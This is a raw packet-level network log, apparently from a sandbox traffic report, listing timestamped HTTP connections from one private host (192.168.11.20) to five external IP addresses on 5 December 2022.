Dec 5, 2022 15:18:43.798408985 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:43.912497997 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077199936 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077249050 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077284098 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077317953 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077349901 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077383041 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077419043 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077452898 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077486038 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077511072 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:44.077519894 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.077565908 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:44.077565908 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:44.077656984 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:44.191595078 CET	80	49910	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:44.246216059 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:44.808587074 CET	49910	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:45.824382067 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:45.939038992 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:45.939415932 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:45.939966917 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:45.940052986 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.054173946 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054238081 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054279089 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054318905 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054359913 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054399967 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054440975 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054480076 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054518938 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.054534912 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.054661036 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.054738045 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.168791056 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.168867111 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.168916941 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.168963909 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169011116 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169056892 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169112921 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.169142008 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169214964 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.169233084 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169292927 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169296026 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.169342041 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169533014 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.169807911 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.211025953 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.283647060 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.283729076 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.283787012 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.283840895 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.284138918 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.284214020 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442459106 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442534924 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442594051 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442651033 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442707062 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442739964 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.442763090 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442820072 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442874908 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442929983 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.442972898 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.442986012 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.443113089 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.443183899 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.556859016 CET	80	49911	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:46.605088949 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:46.948908091 CET	49911	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:47.964379072 CET	49912	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:48.078207970 CET	80	49912	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:48.078502893 CET	49912	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:48.078620911 CET	49912	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:48.192413092 CET	80	49912	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:48.318914890 CET	80	49912	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:48.370196104 CET	49912	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:58.328794956 CET	80	49912	192.185.32.157	192.168.11.20
Dec 5, 2022 15:18:58.329157114 CET	49912	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:58.329247952 CET	49912	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:18:58.443082094 CET	80	49912	192.185.32.157	192.168.11.20
Dec 5, 2022 15:19:03.336780071 CET	49920	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:03.501787901 CET	80	49920	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:03.502260923 CET	49920	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:03.502260923 CET	49920	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:03.667408943 CET	80	49920	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:03.709583998 CET	80	49920	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:03.709597111 CET	80	49920	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:03.709723949 CET	49920	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:04.507337093 CET	49920	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:05.523384094 CET	49921	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:05.686527014 CET	80	49921	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:05.686753035 CET	49921	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:05.686863899 CET	49921	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:05.850004911 CET	80	49921	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:05.887490988 CET	80	49921	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:05.887579918 CET	80	49921	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:05.887940884 CET	49921	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:06.694431067 CET	49921	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:07.710534096 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:07.875540972 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:07.875848055 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:07.876416922 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:07.876516104 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.041676044 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.041779995 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.041830063 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.041874886 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.041935921 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.041949034 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.041997910 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.042043924 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.042119980 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.042258978 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.207113028 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207204103 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207281113 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207328081 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207382917 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.207400084 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207448959 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207518101 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207565069 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207562923 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.207653999 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.207817078 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207878113 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.207907915 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.207956076 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.208026886 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.208070993 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.208241940 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.208448887 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.372692108 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.372767925 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.373429060 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.373522997 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.373598099 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.373646021 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.373691082 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.373735905 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.373780966 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.405109882 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.405191898 CET	80	49922	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:08.405421019 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:08.881531000 CET	49922	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:09.897206068 CET	49923	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:10.062063932 CET	80	49923	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:10.062344074 CET	49923	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:10.062412024 CET	49923	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:10.227371931 CET	80	49923	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:10.230767012 CET	80	49923	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:10.230838060 CET	80	49923	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:10.231226921 CET	49923	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:10.231337070 CET	49923	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:19:10.396336079 CET	80	49923	38.55.15.214	192.168.11.20
Dec 5, 2022 15:19:15.240511894 CET	49924	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:15.251337051 CET	80	49924	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:15.251596928 CET	49924	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:15.251756907 CET	49924	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:15.262351990 CET	80	49924	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:15.304797888 CET	80	49924	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:15.304860115 CET	80	49924	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:15.305139065 CET	49924	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:16.254836082 CET	49924	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:17.270386934 CET	49925	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:17.281694889 CET	80	49925	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:17.282008886 CET	49925	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:17.282093048 CET	49925	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:17.293302059 CET	80	49925	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:17.331285954 CET	80	49925	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:17.331347942 CET	80	49925	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:17.331397057 CET	80	49925	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:17.331540108 CET	49925	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:17.331540108 CET	49925	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:18.285686016 CET	49925	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.301544905 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.312273979 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.312653065 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.314075947 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.314146996 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.314193010 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.324737072 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.324774027 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.324815989 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.324979067 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.325015068 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.325036049 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.325041056 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.325066090 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.325089931 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.325093031 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.325118065 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.325145960 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.325345039 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.325524092 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.335658073 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.335695028 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.335875034 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.335912943 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.335941076 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.335951090 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.335968018 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.335994005 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.335999966 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.336019993 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336046934 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336072922 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336091995 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.336165905 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336241007 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.336281061 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336324930 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336422920 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336431980 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:19.336451054 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336477041 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336503029 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336529016 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336554050 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.336663961 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.346621990 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.346664906 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.346858978 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.346898079 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.347103119 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.347138882 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.347165108 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.347381115 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.347417116 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.347445011 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.347471952 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.366355896 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.366458893 CET	80	49926	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:19.366632938 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:20.316487074 CET	49926	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:21.331978083 CET	49928	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:21.342773914 CET	80	49928	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:21.343008041 CET	49928	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:21.343063116 CET	49928	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:21.353653908 CET	80	49928	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:21.481894970 CET	80	49928	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:21.481998920 CET	80	49928	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:21.482407093 CET	49928	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:21.482511044 CET	49928	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:19:21.493043900 CET	80	49928	75.2.81.212	192.168.11.20
Dec 5, 2022 15:19:26.488446951 CET	49931	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:26.512873888 CET	80	49931	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:26.513170958 CET	49931	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:26.513351917 CET	49931	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:26.537504911 CET	80	49931	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:26.537566900 CET	80	49931	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:26.537617922 CET	80	49931	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:26.537781954 CET	49931	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:27.518172979 CET	49931	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:28.533612013 CET	49932	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:28.557337046 CET	80	49932	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:28.557873964 CET	49932	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:28.558056116 CET	49932	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:28.581758022 CET	80	49932	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:28.581801891 CET	80	49932	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:28.581810951 CET	80	49932	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:28.581943989 CET	49932	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:29.564824104 CET	49932	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.580132008 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.608484983 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.608791113 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.609400034 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.609488010 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.637578964 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.637672901 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.637717009 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.637758017 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.637778997 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.637824059 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.637952089 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.638000011 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.638123035 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.638283968 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.638308048 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.638600111 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.666138887 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.666199923 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.666261911 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.666301966 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.666445971 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.666549921 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:30.666686058 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.666764021 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.666805983 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.667081118 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.667227030 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.695149899 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.695211887 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.695254087 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.695528984 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.695713043 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.695763111 CET	80	49933	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:30.695938110 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:31.610738039 CET	49933	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:32.626676083 CET	49934	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:32.654642105 CET	80	49934	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:32.654892921 CET	49934	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:32.655055046 CET	49934	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:32.682785034 CET	80	49934	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:32.682847977 CET	80	49934	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:32.682898045 CET	80	49934	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:32.683229923 CET	49934	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:32.683310032 CET	49934	80	192.168.11.20	2.57.90.16
Dec 5, 2022 15:19:32.711261988 CET	80	49934	2.57.90.16	192.168.11.20
Dec 5, 2022 15:19:37.688689947 CET	49935	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:37.939568996 CET	80	49935	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:37.939795971 CET	49935	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:37.939928055 CET	49935	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:38.191003084 CET	80	49935	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:38.191865921 CET	80	49935	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:38.191929102 CET	80	49935	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:38.192327023 CET	49935	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:38.201622009 CET	80	49935	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:38.201927900 CET	49935	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:38.952903032 CET	49935	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:39.968780041 CET	49936	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:40.220263958 CET	80	49936	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:40.220521927 CET	49936	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:40.230209112 CET	49936	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:40.481959105 CET	80	49936	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:40.482784986 CET	80	49936	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:40.482873917 CET	80	49936	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:40.483177900 CET	49936	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:41.233671904 CET	49936	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.249422073 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.500659943 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.501430035 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.503652096 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.754909992 CET	80	49937	103.63.2.175	192.168.11.20
